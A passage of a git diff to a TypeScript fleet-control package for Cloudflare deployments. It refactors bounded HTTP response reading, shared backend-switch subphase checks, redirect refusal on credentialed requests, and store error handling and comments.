forceDecommissionDeployment({ backend: plane.backend, store: plane.store, @@ -367,7 +390,6 @@ export async function recoverDirectForce( type ForceBefore = NonNullable>>; type ForceResource = ReturnType; -type ForcePlane = ReturnType; interface DirectForceFootprint { readonly version: 1; diff --git a/packages/fleet-control/scripts/direct-reference-transport.ts b/packages/fleet-control/scripts/direct-reference-transport.ts index 971d363d..1db2bb39 100644 --- a/packages/fleet-control/scripts/direct-reference-transport.ts +++ b/packages/fleet-control/scripts/direct-reference-transport.ts @@ -1,5 +1,6 @@ // SPDX-License-Identifier: Apache-2.0 +import { readBoundedBody } from '@proofoftech/flowsafe/host-kit'; import type { DirectConformanceConfig } from './direct-credentialed-conformance-config.mjs'; import { DirectReferenceExecutionError } from './direct-reference-http.js'; @@ -163,3 +164,96 @@ export class DirectReferenceTransport { return response; } } + +export interface DirectBoundedRequestOptions { + readonly fetch: typeof fetch; + readonly url: URL; + readonly method: string; + readonly token: string; + readonly body?: unknown; + /** Statuses the caller treats as an answer; anything else is refused. */ + readonly acceptStatuses: readonly number[]; + /** Required response media type, or `undefined` for an empty-body answer. */ + readonly mediaType?: string; + readonly byteLimit: number; + readonly invocationSignal: AbortSignal; + readonly requestTimeoutMs: number; +} + +/** + * Issues one bearer-authorized request against a tenant route and reads its + * body under `byteLimit`. A `mediaType` of `undefined` accepts an empty body, + * which is what the 204 answers to object writes and deletes carry. + */ +export async function readBoundedDirectResponse( + options: DirectBoundedRequestOptions, +): Promise<{ status: number; text: string }> { + const cleanup = new AbortController(); + const signal = AbortSignal.any([ + options.invocationSignal, + cleanup.signal, + AbortSignal.timeout(options.requestTimeoutMs), + ]); + let response: Response | undefined; + let bodySettled: Promise | undefined; + try { + response = await options.fetch(options.url, { + method: options.method, + headers: { + authorization: `Bearer ${options.token}`, + ...(options.body === undefined + ? {} + : { 'content-type': 'application/json' }), + }, + ...(options.body === undefined + ? {} + : { body: JSON.stringify(options.body) }), + signal, + }); + const media = response.headers + .get('content-type') + ?.split(';')[0] + ?.trim() + .toLowerCase(); + if ( + !options.acceptStatuses.includes(response.status) || + (options.mediaType !== undefined && media !== options.mediaType) + ) + throw new DirectReferenceExecutionError(); + const stream = new TransformStream(); + bodySettled = response.body + ?.pipeTo(stream.writable, { signal }) + .catch(() => undefined); + const bodyInit = { + method: 'POST', + headers: response.headers, + body: response.body ? stream.readable : undefined, + signal, + duplex: 'half' as const, + }; + const bounded = await readBoundedBody( + new Request(options.url, bodyInit), + options.byteLimit, + ); + if (!bounded.ok) throw new DirectReferenceExecutionError(); + return { status: response.status, text: bounded.text }; + } finally { + cleanup.abort(); + await bodySettled; + if (response && !response.bodyUsed && !response.body?.locked) + await response.body?.cancel().catch(() => undefined); + } +} + +/** Decodes a bounded body as a JSON object, refusing anything else. */ +export function decodeDirectJsonObject(text: string): Record { + let decoded: unknown; + try { + decoded = JSON.parse(text); + } catch { + throw new DirectReferenceExecutionError(); + } + if (!decoded || typeof decoded !== 'object' || Array.isArray(decoded)) + throw new DirectReferenceExecutionError(); + return decoded as Record; +} diff --git a/packages/fleet-control/scripts/direct-reference-worker.ts b/packages/fleet-control/scripts/direct-reference-worker.ts index 4ec496de..44908535 100644 --- a/packages/fleet-control/scripts/direct-reference-worker.ts +++ b/packages/fleet-control/scripts/direct-reference-worker.ts @@ -1,6 +1,5 @@ // SPDX-License-Identifier: Apache-2.0 -import { readBoundedBody } from '@proofoftech/flowsafe/host-kit'; import type { DirectRunManifest } from './direct-credentialed-conformance-preflight.mjs'; import { createDirectReferenceContext, @@ -23,7 +22,11 @@ import { dispatchDirectInventory } from './direct-reference-inventory.js'; import type { DirectOperationSlot } from './direct-reference-journal.js'; import { dispatchDirectLifecycle } from './direct-reference-lifecycle.js'; import { dispatchDirectR4 } from './direct-reference-r4.js'; -import type { DirectReferenceTransportSnapshot } from './direct-reference-transport.js'; +import { + type DirectReferenceTransportSnapshot, + decodeDirectJsonObject, + readBoundedDirectResponse, +} from './direct-reference-transport.js'; const operationSlots: readonly DirectOperationSlot[] = [ 'inventory-before', @@ -74,93 +77,51 @@ export async function probeDirectTenant( : operation === 'object-delete' ? 'DELETE' : 'GET'; - const cleanup = new AbortController(); - const signal = AbortSignal.any([ + const readsJson = method === 'GET'; + const { text: encoded } = await readBoundedDirectResponse({ + fetch: context.transport.applicationFetch, + url, + method, + token, + acceptStatuses: readsJson ? [200] : [204], + mediaType: readsJson ? 'application/json' : undefined, + byteLimit: readsJson ? 1024 : 0, invocationSignal, - cleanup.signal, - AbortSignal.timeout(context.transport.effectiveRequestTimeoutMs), - ]); - let response: Response | undefined; - let bodySettled: Promise | undefined; - try { - response = await context.transport.applicationFetch(url, { - method, - headers: { authorization: `Bearer ${token}` }, - signal, - }); - const media = response.headers - .get('content-type') - ?.split(';')[0] - ?.trim() - .toLowerCase(); - if ( - response.status !== (method === 'GET' ? 200 : 204) || - (method === 'GET' && media !== 'application/json') - ) - throw new DirectReferenceExecutionError(); - const stream = new TransformStream(); - bodySettled = response.body - ?.pipeTo(stream.writable, { signal }) - .catch(() => undefined); - const bodyInit = { - method: 'POST', - headers: response.headers, - body: response.body ? stream.readable : undefined, - signal, - duplex: 'half' as const, - }; - const bounded = await readBoundedBody( - new Request(url, bodyInit), - method === 'GET' ? 1024 : 0, - ); - if (!bounded.ok) throw new DirectReferenceExecutionError(); - if (method !== 'GET') return { role, operation, returned: true }; - let decoded: unknown; - try { - decoded = JSON.parse(bounded.text); - } catch { - throw new DirectReferenceExecutionError(); - } - if (!decoded || typeof decoded !== 'object' || Array.isArray(decoded)) - throw new DirectReferenceExecutionError(); - const value = decoded as Record; - const fields = Object.keys(value).sort().join(','); - if (operation === 'health') { - if ( - fields !== 'marker,release' || - (value.release !== '1' && value.release !== '2') || - (value.marker !== 'initial' && - value.marker !== 'next' && - value.marker !== null) - ) - throw new DirectReferenceExecutionError(); - return { role, operation, release: value.release, marker: value.marker }; - } - if (fields === 'present' && value.present === false) - return { role, operation, present: false }; + requestTimeoutMs: context.transport.effectiveRequestTimeoutMs, + }); + if (!readsJson) return { role, operation, returned: true }; + const value = decodeDirectJsonObject(encoded); + const fields = Object.keys(value).sort().join(','); + if (operation === 'health') { if ( - fields !== 'present,sha256,size' || - value.present !== true || - typeof value.size !== 'number' || - !Number.isSafeInteger(value.size) || - value.size < 1 || - typeof value.sha256 !== 'string' || - !/^[a-f0-9]{64}$/u.test(value.sha256) + fields !== 'marker,release' || + (value.release !== '1' && value.release !== '2') || + (value.marker !== 'initial' && + value.marker !== 'next' && + value.marker !== null) ) throw new DirectReferenceExecutionError(); - return { - role, - operation, - present: true, - size: value.size, - sha256: value.sha256, - }; - } finally { - cleanup.abort(); - await bodySettled; - if (response && !response.bodyUsed && !response.body?.locked) - await response.body?.cancel().catch(() => undefined); + return { role, operation, release: value.release, marker: value.marker }; } + if (fields === 'present' && value.present === false) + return { role, operation, present: false }; + if ( + fields !== 'present,sha256,size' || + value.present !== true || + typeof value.size !== 'number' || + !Number.isSafeInteger(value.size) || + value.size < 1 || + typeof value.sha256 !== 'string' || + !/^[a-f0-9]{64}$/u.test(value.sha256) + ) + throw new DirectReferenceExecutionError(); + return { + role, + operation, + present: true, + size: value.size, + sha256: value.sha256, + }; } async function dispatch( diff --git a/packages/fleet-control/src/backend-switch.ts b/packages/fleet-control/src/backend-switch.ts index 9ae8882f..eceab774 100644 --- a/packages/fleet-control/src/backend-switch.ts +++ b/packages/fleet-control/src/backend-switch.ts @@ -100,6 +100,7 @@ import { BACKEND_SWITCH_SUBPHASES, effectiveLifecyclePhase, PROVISIONING_PHASES, + SETTLED_BACKEND_SWITCH_SUBPHASES, } from './types.js'; import { validateDeploymentSpec } from './validation.js'; @@ -2499,6 +2500,24 @@ function withoutConsumedSwitchEntryCarriers( return stable; } +// The top-level `applicationResources` a switch teardown's record carries: the +// `applicationR2Progress` entries the teardown persists, projected back onto +// the resources they track. `assertCompleteRecord` compares a record's own +// states against this same projection, so the paths that write a teardown +// record share the one expression that produces it. +function switchTeardownApplicationResources( + intent: BackendSwitchIntent, +): readonly import('./types.js').ApplicationR2Resource[] { + return ( + intent.applicationR2Progress ?? + intent.decommissionSnapshot?.applicationResources.map((resource) => ({ + resource, + subphase: resource.state, + })) ?? + [] + ).map(({ resource, subphase }) => ({ ...resource, state: subphase })); +} + /** @internal Atomically consumes switch-entry carriers and installs its shell. */ export function normalizeSwitchDecommissionEntry( record: FleetRecord, @@ -2510,13 +2529,7 @@ export function normalizeSwitchDecommissionEntry( throw new Error('backend switch decommission authorization was lost'); } const stable = withoutConsumedSwitchEntryCarriers(record); - const applicationResources = ( - intent.applicationR2Progress ?? - snapshot.applicationResources.map((resource) => ({ - resource, - subphase: resource.state, - })) - ).map(({ resource, subphase }) => ({ ...resource, state: subphase })); + const applicationResources = switchTeardownApplicationResources(intent); return { ...stable, desiredSpecDigest: snapshot.desiredSpecDigest, @@ -2566,8 +2579,7 @@ export function finalizedBridgeForRecord(record: FleetRecord): BridgeSnapshot { export function assertBackendSwitchInactive(record: FleetRecord): void { if ( record.backendSwitchIntent && - record.backendSwitchIntent.subphase !== 'rolled-back' && - record.backendSwitchIntent.subphase !== 'finalized' + !SETTLED_BACKEND_SWITCH_SUBPHASES.has(record.backendSwitchIntent.subphase) ) { throw new Error( `deployment '${record.tenantTag}:${record.environment}' has active backend switch '${record.backendSwitchIntent.subphase}'`, @@ -3358,10 +3370,7 @@ export async function switchPlainDeploymentToWorkersForPlatforms(options: { ) { throw new Error('backend switch request differs from durable intent'); } - if ( - intent.subphase === 'rolled-back' || - intent.subphase === 'finalized' - ) { + if (SETTLED_BACKEND_SWITCH_SUBPHASES.has(intent.subphase)) { throw new Error(`backend switch is already ${intent.subphase}`); } if (intent.subphase === 'ready') return intent; @@ -4274,6 +4283,7 @@ async function decommissionBackendSwitchLegacy(options: { const record: FleetRecord = { ...lease.current(), phase: 'decommissioned', + applicationResources: switchTeardownApplicationResources(intent), databaseExportLocation: durableExport.location, databaseExportSha256: durableExport.sha256, databaseExportSize: durableExport.size, @@ -4884,14 +4894,7 @@ async function putBackendSwitchOwnership( patch: Partial = {}, ): Promise { const current = lease.current(); - const applicationResources = ( - switchIntent.applicationR2Progress ?? - switchIntent.decommissionSnapshot?.applicationResources.map((resource) => ({ - resource, - subphase: resource.state, - })) ?? - [] - ).map(({ resource, subphase }) => ({ ...resource, state: subphase })); + const applicationResources = switchTeardownApplicationResources(switchIntent); const nextRecord: FleetRecord = { ...current, ...patch, diff --git a/packages/fleet-control/src/cleanup-advance.ts b/packages/fleet-control/src/cleanup-advance.ts index 96017ed9..23187c87 100644 --- a/packages/fleet-control/src/cleanup-advance.ts +++ b/packages/fleet-control/src/cleanup-advance.ts @@ -46,7 +46,10 @@ import type { FleetStateStore, ProvisioningBackend, } from './types.js'; -import { assertNoActiveDecommission } from './types.js'; +import { + assertNoActiveDecommission, + SETTLED_BACKEND_SWITCH_SUBPHASES, +} from './types.js'; import { validateDeploymentSpec } from './validation.js'; const ACTION_ERROR = 'cleanup advance action is malformed'; @@ -89,7 +92,11 @@ export interface AdvanceCleanupDeploymentOptions { readonly action: CleanupAdvanceAction; /** Provider-fetch attempt budget for each bounded attachment scan, integer 9..1,000. */ readonly maxProviderRequests: number; - /** Call-local cancellation, never persisted. */ + /** + * Call-local cancellation, never persisted. This engine forwards it to the + * bounded attachment scan, which is where it is honoured; the engine takes + * no step of its own on it. + */ readonly signal?: AbortSignal; /** Timestamp source; called once for each accepted write. */ readonly clock?: () => number; @@ -382,12 +389,13 @@ async function commit( } function assertBackendSwitchInactiveForCleanup(record: FleetRecord): void { - // Byte-identical to backend-switch.ts assertBackendSwitchInactive; the - // transport-neutral rule forbids importing that module from this engine. + // The settled-subphase set is the one backend-switch.ts + // assertBackendSwitchInactive reads, so the two cannot drift apart. This + // engine reads it from types.ts because the transport-neutral rule forbids + // importing backend-switch.ts here and permits types.ts. if ( record.backendSwitchIntent && - record.backendSwitchIntent.subphase !== 'rolled-back' && - record.backendSwitchIntent.subphase !== 'finalized' + !SETTLED_BACKEND_SWITCH_SUBPHASES.has(record.backendSwitchIntent.subphase) ) { throw new Error( `deployment '${record.tenantTag}:${record.environment}' has active backend switch '${record.backendSwitchIntent.subphase}'`, diff --git a/packages/fleet-control/src/cloudflare-client.ts b/packages/fleet-control/src/cloudflare-client.ts index 98cf738e..da9ebebb 100644 --- a/packages/fleet-control/src/cloudflare-client.ts +++ b/packages/fleet-control/src/cloudflare-client.ts @@ -47,10 +47,9 @@ import { workerMigrations, } from './cloudflare-ordinary-worker-operations.js'; import { - CredentialedRedirectRefusedError, isNotFound, - isRedirectStatus, readErrorFieldSafely, + refuseRedirectStatus, sanitizedErrorName, } from './cloudflare-provider-errors.js'; import type { CloudflareApiRateCoordinator } from './cloudflare-rate-coordinator.js'; @@ -702,10 +701,11 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { }); } const fetchFn = options.fetch ?? fetch; - // Every request below carries the account API token, and the signed export - // download carries a URL the provider chose. Forcing the policy after the - // spread denies a call site the chance to opt into following a redirect to - // an address the control plane did not choose. + // Forcing the policy after the spread denies a call site the chance to opt + // into following a redirect to an address the control plane did not choose. + // The SDK-routed callers classify the status themselves, so the rule at + // refuseRedirectStatus leaves the refusal to them; the raw dispatch script + // listing below reads the raw response and refuses there. this.#fetch = (input, init) => fetchFn(input, { ...init, redirect: 'manual' }); this.#requestTimeoutMs = options.requestTimeoutMs ?? 60_000; @@ -853,17 +853,10 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { headers: { authorization: `Bearer ${this.#apiToken}` }, signal, }); - // This caller reads the raw response, so the refusal belongs here - // rather than in #request, whose SDK-routed callers reclassify a - // thrown error as a connection failure and retry it. - if (isRedirectStatus(response.status)) { - const refusal = new CredentialedRedirectRefusedError( - 'Cloudflare dispatch script listing', - response.status, - ); - cancelBodyWithoutAwait(response.body, refusal); - throw refusal; - } + // This caller reads the raw response, so by the rule at + // refuseRedirectStatus the refusal belongs here rather than in + // #request. + refuseRedirectStatus(response, 'Cloudflare dispatch script listing'); return response; }, }; @@ -3434,6 +3427,8 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { if (signedUrl.protocol !== 'https:') { fail('export returned a non-HTTPS download URL'); } + // The signed download leaves the SDK's credentialed path: it carries + // no authorization header, and the provider chose its address. const download = await this.#request(signedUrl, { headers: { 'Accept-Encoding': 'identity' }, }); diff --git a/packages/fleet-control/src/cloudflare-control-plane.ts b/packages/fleet-control/src/cloudflare-control-plane.ts index 301271c7..4789be19 100644 --- a/packages/fleet-control/src/cloudflare-control-plane.ts +++ b/packages/fleet-control/src/cloudflare-control-plane.ts @@ -36,6 +36,7 @@ import { } from './fleet-inventory-advance.js'; import type { FleetInventoryGenerationRef } from './fleet-inventory-state.js'; import { + type AdvanceFleetMigrationOptions, abandonFleetMigrationOperation, advanceFleetMigration, type FleetMigrationAdvanceAction, @@ -327,7 +328,10 @@ export interface CloudflareAdvanceFleetMigrationOptions { readonly routeAttestation?: AttestConvergedActiveRouteOptions; readonly clock?: () => number; readonly signal?: AbortSignal; - /** Carries `AdvanceFleetMigrationOptions.onComplete`'s delivery contract. */ + /** + * Carries {@link AdvanceFleetMigrationOptions.onComplete}'s delivery + * contract. + */ readonly onComplete?: ( result: FleetMigrationResultRef, ) => void | Promise; diff --git a/packages/fleet-control/src/cloudflare-provider-errors.ts b/packages/fleet-control/src/cloudflare-provider-errors.ts index 4b6d62ed..b79f4290 100644 --- a/packages/fleet-control/src/cloudflare-provider-errors.ts +++ b/packages/fleet-control/src/cloudflare-provider-errors.ts @@ -1,14 +1,13 @@ // SPDX-License-Identifier: Apache-2.0 // This module holds the classification and redaction helpers that Cloudflare -// provider transports apply to SDK errors and to raw provider responses. -// Its two sanitizer consumers use different members: the ordinary-Worker -// upload dispatch (cloudflare-ordinary-worker-operations.ts) calls -// sanitizeProviderError, while the client's D1 export calls -// readErrorFieldSafely and sanitizedErrorName. Both modules import -// isNotFound. +// provider transports apply to SDK errors and to raw provider responses, and +// refuseRedirectStatus, the redirect refusal those transports share with the +// tenant-Worker maintenance transport, whose responses are not provider +// responses. import { APIConnectionError, APIError } from 'cloudflare'; +import { cancelBodyWithoutAwait } from './database-export-store.js'; import { readField } from './json-field-reads.js'; const MAX_SANITIZED_ERROR_CAUSE_DEPTH = 8; @@ -163,24 +162,48 @@ export function isNotFound(error: unknown): boolean { const REDIRECT_STATUSES: readonly number[] = [301, 302, 303, 307, 308]; -/** Matches the Worker egress proxy's enumeration in workers/outbound.ts. */ -export function isRedirectStatus(status: number): boolean { +/** + * Matches the HTTP statuses that carry a `Location`. A credentialed transport + * refuses a response carrying one. + */ +function isRedirectStatus(status: number): boolean { return REDIRECT_STATUSES.includes(status); } /** - * A credentialed transport received a redirect. The message names the - * operation and the status but never the address, because the same refusal - * covers signed export URLs and tenant maintenance endpoints whose addresses - * belong inside the caller's redaction boundary. + * A credentialed transport received a redirect. The message names the operation + * and the status, never the address: a redirect target the control plane did not + * choose belongs inside the caller's redaction boundary. */ -export class CredentialedRedirectRefusedError extends Error { +class CredentialedRedirectRefusedError extends Error { constructor(operation: string, status: number) { super(`${operation} refused a redirect with status ${status}`); this.name = 'CredentialedRedirectRefusedError'; } } +/** + * Refuses a redirect status on a credentialed transport and cancels the body + * nothing reads. + * + * Where a credentialed transport's redirect refusal belongs: at the point that + * reads the raw response, whenever the consumer there does not itself classify + * the response status. A transport whose consumer classifies the status instead + * forces `redirect: 'manual'` and leaves the refusal to that consumer. + */ +export function refuseRedirectStatus( + response: Response, + operation: string, +): void { + if (!isRedirectStatus(response.status)) return; + const refusal = new CredentialedRedirectRefusedError( + operation, + response.status, + ); + cancelBodyWithoutAwait(response.body, refusal); + throw refusal; +} + /** * R2 lists use HTTP 403 with provider code 10003 when the account lacks * entitlement to the requested jurisdiction. diff --git a/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts b/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts index be1df6f2..f1f680b6 100644 --- a/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts +++ b/packages/fleet-control/src/cloudflare-worker-attachment-scan.ts @@ -23,6 +23,7 @@ import { type WorkerAttachmentScanProgress, type WorkerAttachmentScanTarget, } from './cloudflare-worker-attachment-scan-state.js'; +import { cancelBodyWithoutAwait } from './database-export-store.js'; export { CloudflareAttachmentScanProgressError, @@ -363,14 +364,22 @@ export async function listDispatchScriptPage( ): Promise { let response: Response | undefined; for (let attempt = 0; attempt < CLOUDFLARE_SDK_MAX_ATTEMPTS; attempt += 1) { + // A superseded attempt's body is never read. Cancelling it before the + // signal check covers the abort exit as well as the next request. + cancelBodyWithoutAwait( + response?.body, + 'Cloudflare dispatch script listing attempt superseded', + ); checkSignal(input.signal); response = await context.requestDispatchScriptPage(input); if (response.status !== 429 && response.status < 500) break; } if (!response?.ok) { - throw new Error( + const refusal = new Error( `Cloudflare dispatch script listing failed with status ${response?.status ?? 'unknown'}`, ); + cancelBodyWithoutAwait(response?.body, refusal); + throw refusal; } const payload: unknown = await response.json(); const record = plainRecord(payload); diff --git a/packages/fleet-control/src/d1-fleet-inventory-run-store.ts b/packages/fleet-control/src/d1-fleet-inventory-run-store.ts index f82a35ec..bf16012c 100644 --- a/packages/fleet-control/src/d1-fleet-inventory-run-store.ts +++ b/packages/fleet-control/src/d1-fleet-inventory-run-store.ts @@ -29,9 +29,9 @@ const ROW_TABLE = 'anchorage_fleet_inventory_rows'; const FACT_TABLE = 'anchorage_fleet_inventory_deployment_facts'; const LEASE_TABLE = 'anchorage_fleet_inventory_leases'; const PIN_TABLE = 'anchorage_fleet_inventory_pins'; -// Duplicated from state-store.ts:132-133 on purpose: that module does not -// export the two integers, and widening its surface for them would couple the -// inventory store to the deployment store for nothing. +// state-store.ts:132-133 holds the same two integers and exports neither; +// widening its surface for them couples the inventory store to the deployment +// store. const LEASE_TTL_MS = 15 * 60_000; const LEASE_RENEWAL_INTERVAL_MS = 5 * 60_000; // Byte-identical to state-store.ts:134. The Wrangler harness lease clock @@ -294,9 +294,9 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { pinned_at_ms INTEGER NOT NULL, PRIMARY KEY (account_id, generation, pinned_by) )`); - // These tables are new, so there is no ALTER path: a column that is absent - // or of the wrong type means someone else owns the name, and a write would - // silently drop values rather than fail. + // There is no ALTER path: a column that is absent or of the wrong type + // means someone else owns the name, and a write would silently drop + // values rather than fail. for (const [table, columns] of Object.entries(EXPECTED_COLUMNS)) { const present = await this.#db.query(`PRAGMA table_info(${table})`); for (const [name, type] of Object.entries(columns)) { @@ -453,6 +453,10 @@ export class D1FleetInventoryRunStore implements FleetInventoryRunStore { errors.push(...renewalErrors); if (releaseFailed) errors.push(releaseError); if (errors.length === 1) throw errors[0]; + // A run that fails beside a lease renewal or release failure reaches the + // caller inside the aggregate, first in `errors`: a caller that reads only + // `message` sees the cleanup summary, and the reason the run itself raised + // is in `AggregateError.errors[0]`. if (errors.length > 1) { throw new AggregateError( errors, diff --git a/packages/fleet-control/src/d1-fleet-operation-store.ts b/packages/fleet-control/src/d1-fleet-operation-store.ts index c9eb2e28..0e58d75c 100644 --- a/packages/fleet-control/src/d1-fleet-operation-store.ts +++ b/packages/fleet-control/src/d1-fleet-operation-store.ts @@ -13,6 +13,7 @@ import { canonicalFleetOperationBytes, FLEET_OPERATION_KINDS, FLEET_OPERATION_ROW_KINDS, + FLEET_OPERATION_SINGLE_UPDATE_ROW_MESSAGE, FLEET_OPERATION_STAGE_BATCH_STATEMENTS, type FleetOperationKind, type FleetOperationLease, @@ -23,10 +24,12 @@ import { type FleetOperationStore, FleetOperationStoreCapabilityError, fleetOperationOtherKindMessage, + fleetOperationPageLimit, fleetOperationRunRecordFromUnknown, fleetOperationSafeInteger, fleetOperationSha256, fleetOperationStagedRowFromUnknown, + fleetOperationWatermarkRunMessage, } from './fleet-operation-state.js'; import type { FleetStateDatabase } from './state-store.js'; @@ -223,9 +226,7 @@ function validateCommitWatermarks( ); const prefix = watermark - below.length; if (below.some((row) => row.ordinal < prefix)) { - throw new Error( - `commitProgress ${rowKind} rows below the watermark must be the contiguous run ending at it`, - ); + throw new Error(fleetOperationWatermarkRunMessage(rowKind)); } rowStatement.push(accountId, operationId, rowKind, prefix, prefix); runUpdate.push(accountId, operationId, rowKind, watermark, watermark); @@ -451,6 +452,10 @@ export class D1FleetOperationStore implements FleetOperationStore { errors.push(...renewalErrors); if (releaseFailed) errors.push(releaseError); if (errors.length === 1) throw errors[0]; + // An operation that fails beside a lease renewal or release failure + // reaches the caller inside the aggregate, first in `errors`: a caller + // that reads only `message` sees the cleanup summary, and the reason the + // operation itself raised is in `AggregateError.errors[0]`. if (errors.length > 1) { throw new AggregateError( errors, @@ -826,6 +831,10 @@ export class D1FleetOperationStore implements FleetOperationStore { }, ]); const written = result.at(-1) ?? []; + // The accepted path returns the intended record rather than a reread of + // it: this batch wrote those exact bytes under the revision guard. The + // converged path returns the persisted record instead, because there the + // bytes came from another writer and only the decode establishes them. if (written.length === 1 && written[0]?.operation_id === operationId) { return runRecord; } @@ -841,6 +850,11 @@ export class D1FleetOperationStore implements FleetOperationStore { }>[], watermarks: readonly [FleetOperationRowKind, number][], ): Promise { + // Reading the operation first fixes the record the row reads below are + // interpreted against, at the cost of staleness in the record returned: a + // concurrent abandon during those reads leaves this record reporting + // `running` for an operation already durably `failed`. The next call + // reads that state and refuses. const persisted = await this.readOperationById(operationId); if (!persisted) throw unknownOperation(operationId); for (const [rowKind, watermark] of watermarks) { @@ -865,6 +879,9 @@ export class D1FleetOperationStore implements FleetOperationStore { AND row_kind = ? AND ordinal = ?`, [this.#accountId, operationId, row.rowKind, row.ordinal], ); + // An opportunistic cross-check against a fault, not a defence: a writer + // able to change this row can change the operation record beside it and + // pass both comparisons. if (!stored[0]) complete = false; else if (rowString(stored[0], 'payload') !== bytes) { throw operationDivergence(operationId); @@ -1024,7 +1041,7 @@ export class D1FleetOperationStore implements FleetOperationStore { const { operationId, expectedRevision } = input; const runRecord = fleetOperationRunRecordFromUnknown(input.runRecord); if ((input.updateRows?.length ?? 0) > 1) { - throw new Error('failOperation accepts at most one updateRow'); + throw new Error(FLEET_OPERATION_SINGLE_UPDATE_ROW_MESSAGE); } const updateRows = (input.updateRows ?? []).map((row) => stagedRowForKindFromUnknown(kind, row), @@ -1149,7 +1166,11 @@ export class D1FleetOperationStore implements FleetOperationStore { AND row_kind = ? AND ordinal = ?`, [this.#accountId, operationId, row.rowKind, row.ordinal], ); - if (!stored[0] || rowString(stored[0], 'payload') !== bytes) { + // A missing target row is a conflict, as it is on the convergence path: + // the row can still be staged under a later revision, while divergence + // reports the unrecoverable case of landed bytes that differ. + if (!stored[0]) throw operationConflict(operationId); + if (rowString(stored[0], 'payload') !== bytes) { throw operationDivergence(operationId); } } @@ -1165,7 +1186,7 @@ export class D1FleetOperationStore implements FleetOperationStore { ): Promise< Readonly<{ rows: readonly FleetOperationStagedRow[]; done: boolean }> > { - assertLimit(input.limit); + const limit = fleetOperationPageLimit(input.limit); if (!FLEET_OPERATION_ROW_KINDS.includes(input.rowKind)) { throw new Error( `rowKind must be one of ${FLEET_OPERATION_ROW_KINDS.join(', ')}`, @@ -1196,17 +1217,17 @@ export class D1FleetOperationStore implements FleetOperationStore { input.operationId, input.rowKind, input.afterOrdinal ?? -1, - input.limit + 1, + limit + 1, ], ); - const rows = stored.slice(0, input.limit).map((row) => + const rows = stored.slice(0, limit).map((row) => stagedRowForKindFromUnknown(kind, { rowKind: rowString(row, 'row_kind'), ordinal: rowNumber(row, 'ordinal'), payload: parseJson(rowString(row, 'payload')), }), ); - return { rows, done: stored.length <= input.limit }; + return { rows, done: stored.length <= limit }; } async pruneFleetOperations( diff --git a/packages/fleet-control/src/decommission-advance.ts b/packages/fleet-control/src/decommission-advance.ts index e98e15c5..e01bb02a 100644 --- a/packages/fleet-control/src/decommission-advance.ts +++ b/packages/fleet-control/src/decommission-advance.ts @@ -108,7 +108,11 @@ export interface AdvanceDecommissionDeploymentOptions { readonly action: DecommissionAdvanceAction; /** Provider-fetch attempt budget for each bounded attachment scan, integer 9..1,000. */ readonly maxProviderRequests: number; - /** Call-local cancellation, never persisted. */ + /** + * Call-local cancellation, never persisted. This engine forwards it to the + * bounded attachment scan, which is where it is honoured; the engine takes + * no step of its own on it. + */ readonly signal?: AbortSignal; /** Timestamp source; called once for each accepted write. */ readonly clock?: () => number; diff --git a/packages/fleet-control/src/decommission-intent.ts b/packages/fleet-control/src/decommission-intent.ts index a49bee96..e76413f4 100644 --- a/packages/fleet-control/src/decommission-intent.ts +++ b/packages/fleet-control/src/decommission-intent.ts @@ -22,7 +22,11 @@ import type { FleetRecord, NormalDecommissionLifecyclePhase, } from './types.js'; -import { BACKEND_SWITCH_SUBPHASES, isPlatformCatalogRecord } from './types.js'; +import { + BACKEND_SWITCH_SUBPHASES, + isPlatformCatalogRecord, + RETIRED_BACKEND_SWITCH_SUBPHASE, +} from './types.js'; export const DECOMMISSION_INTENT_BYTE_BOUND = 96 * 1024; const TOKEN_BYTE_BOUND = 1024; @@ -608,7 +612,7 @@ function assertCompleteRecord( source.migrationIntent !== undefined || (mode === 'normal' && switchIntent !== undefined) || (mode === 'backend-switch' && - (switchIntent?.subphase !== 'decommissioned' || + (switchIntent?.subphase !== RETIRED_BACKEND_SWITCH_SUBPHASE || !switchIntent.databaseExport || switchIntent.databaseExport.location !== source.databaseExportLocation || diff --git a/packages/fleet-control/src/fleet-audit-advance.ts b/packages/fleet-control/src/fleet-audit-advance.ts index 23654a0c..d680ffdf 100644 --- a/packages/fleet-control/src/fleet-audit-advance.ts +++ b/packages/fleet-control/src/fleet-audit-advance.ts @@ -125,7 +125,10 @@ export interface AdvanceFleetAuditOptions { readonly auditClock?: () => number; /** Feeds only the re-arm's authority clock (§6.1); default `Date.now`. */ readonly authorityClock?: () => number; - /** Call-local only; never persisted. */ + /** + * Call-local only; never persisted. Read at the entry and before each + * record step; a step already in flight runs to completion. + */ readonly signal?: AbortSignal; } @@ -215,9 +218,9 @@ export class FleetAuditAdvanceCapabilityError extends Error { * Probes one injected port for the members a capability names. `target` is * `object` rather than a port type because this coordinator gates two * unrelated ports (the operation store and the inventory store) through the - * same table, and it is deliberately named for the audit capability set - * rather than for one store — the R3 sibling's `assertStoreCapability` gates - * a single store and keeps the narrower name. + * same table, and it is named for the audit capability set rather than for + * one store — the R3 sibling's `assertStoreCapability` gates a single store + * and keeps the narrower name. */ function assertCapability( target: object, @@ -285,7 +288,7 @@ function resultFromRun(run: FleetOperationRunRecord): FleetAuditAdvanceResult { */ function pendingFromCommitted( committed: FleetOperationRunRecord, -): FleetAuditAdvanceResult { +): Extract { return { status: 'pending', token: fleetOperationTokenOf(committed), @@ -411,8 +414,13 @@ function chunked( // typed over the whole stage union and so returns `number | undefined`. if (ordinal === undefined) return malformed(); // A global stage never persists a cursor at the end of its own source, so - // the only admissible cursor for an empty source is zero. - if (source.length === 0 ? ordinal > 0 : ordinal >= source.length) { + // the only admissible cursor for an empty source is zero. A negative + // ordinal is inadmissible on any source: `slice` reads it as an offset from + // the end, where a stage cursor means an offset from the start. + if ( + ordinal < 0 || + (source.length === 0 ? ordinal > 0 : ordinal >= source.length) + ) { return malformed(); } const slice = source.slice(ordinal, ordinal + maxItemsPerCall); @@ -897,6 +905,7 @@ async function advanceOneChunk( }); return pendingFromCommitted(committed); } + const perRecordAuditedRecords = fleetAuditAuditedRecords(records); return advancePerRecordChunk( options, lease, @@ -905,7 +914,7 @@ async function advanceOneChunk( perRecordStage, inventory, records, - fleetAuditAuditedRecords(records), + 